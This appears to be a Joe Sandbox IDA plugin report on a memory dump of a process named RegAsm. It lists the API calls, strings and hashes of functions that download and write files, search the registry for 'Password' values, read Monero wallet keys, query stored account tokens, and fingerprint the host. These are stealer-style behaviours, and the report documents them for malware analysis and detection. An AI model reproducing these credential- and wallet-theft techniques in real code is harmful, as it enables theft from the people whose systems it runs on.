Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Openlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 2731306069-3278919252
Opcode ID: 510c45c455e6bc88fad200d1259bbb7ccca656e42c71fef384590b0395d7cec4
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 510c45c455e6bc88fad200d1259bbb7ccca656e42c71fef384590b0395d7cec4
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 004060F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,01424A38), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(q&A,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(q&A), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Strings

q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103
q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$??2@CrackCreateReadWritelstrcpylstrlen
String ID: q&A$q&A
API String ID: 449328342-3681770271
Opcode ID: fdcbe641894ecd95402b57cbfc0127933b6431a3ef589c1e2230ded5e4bc1f6b
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: fdcbe641894ecd95402b57cbfc0127933b6431a3ef589c1e2230ded5e4bc1f6b
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT ref: 00407354
Part of subcall function 00407310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
Part of subcall function 00407310: RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

lstrcat.KERNEL32(33827020,004217A0), ref: 00407646
lstrcat.KERNEL32(33827020,00000000), ref: 00407688
lstrcat.KERNEL32(33827020, : ), ref: 0040769A
lstrcat.KERNEL32(33827020,00000000), ref: 004076CF
lstrcat.KERNEL32(33827020,004217A8), ref: 004076E0
lstrcat.KERNEL32(33827020,00000000), ref: 00407713
lstrcat.KERNEL32(33827020,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 01f6e0b9d01338581c6780d1ba8399ef7ff2db0f8ea6736abd4eb07c3ea6ac61
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: 01f6e0b9d01338581c6780d1ba8399ef7ff2db0f8ea6736abd4eb07c3ea6ac61
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00407310 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407354
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

C, xrefs: 00416FEC
\, xrefs: 00417000
:, xrefs: 00416FFC

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: b8d4498c9ef52ac0e7ff8a74a815c8f3508d9b1454889a6f46a668afd64d8a13
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: b8d4498c9ef52ac0e7ff8a74a815c8f3508d9b1454889a6f46a668afd64d8a13
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01423608,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01423608,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

@, xrefs: 00417BED
%d MB, xrefs: 00417C43

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 00401310 Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,01423C38,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

memset.MSVCRT ref: 00401516

Strings

\Monero\wallet.keys, xrefs: 0040138D
SOFTWARE\monero-project\monero-core, xrefs: 00401335
wallet_path, xrefs: 00401330
.keys, xrefs: 0040136B

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrcat$File$AllocHeapLocallstrlenmemset$ChangeCloseCreateFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 99493178-218353709
Opcode ID: 917d05209e3c6e9ca6065a0a923e579d9e5d238dbdb3523c9004ab1032494658
Instruction ID: b5eb1e2d9a8a1e3cf56e2c34e54d9e93e9a372b4459d7a8870c797c8d4c08f80
Opcode Fuzzy Hash: 917d05209e3c6e9ca6065a0a923e579d9e5d238dbdb3523c9004ab1032494658
Instruction Fuzzy Hash: AB5184B1D501186BCB14EB61DC96FED733CAF50314F4041ADB60A62092EE785BD9CBAA

Function 00416B70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00416B7E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

OpenProcess.KERNEL32(001FFFFF,00000000,00416DAD,004205AD), ref: 00416BBC
memset.MSVCRT ref: 00416C0A
??_V@YAXPAX@Z.MSVCRT ref: 00416D5E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00416C2C

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 985516fdb4aba9a37da67002539eb8a614f9f3b36bd237ff0cc46e5de52e8429
Instruction ID: 7f38ab3eb3b1a919a3e5ec0c0fab515e305e32cb9f2de8b47bf31e49bfe0b2e9
Opcode Fuzzy Hash: 985516fdb4aba9a37da67002539eb8a614f9f3b36bd237ff0cc46e5de52e8429
Instruction Fuzzy Hash: 285162B0D002189BDB24EB95DC45BEEB774AF44318F5041AEE50566281EB78AEC8CF5D

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040BADD

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

AccountTokens, xrefs: 0040B91A
AccountTokens, xrefs: 0040B9A9
AccountId, xrefs: 0040BB02
SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: 7e8853a93b14599ac83e542f5224995fc26312752b0488732bf05ef3e13e3aee
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: 7e8853a93b14599ac83e542f5224995fc26312752b0488732bf05ef3e13e3aee
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

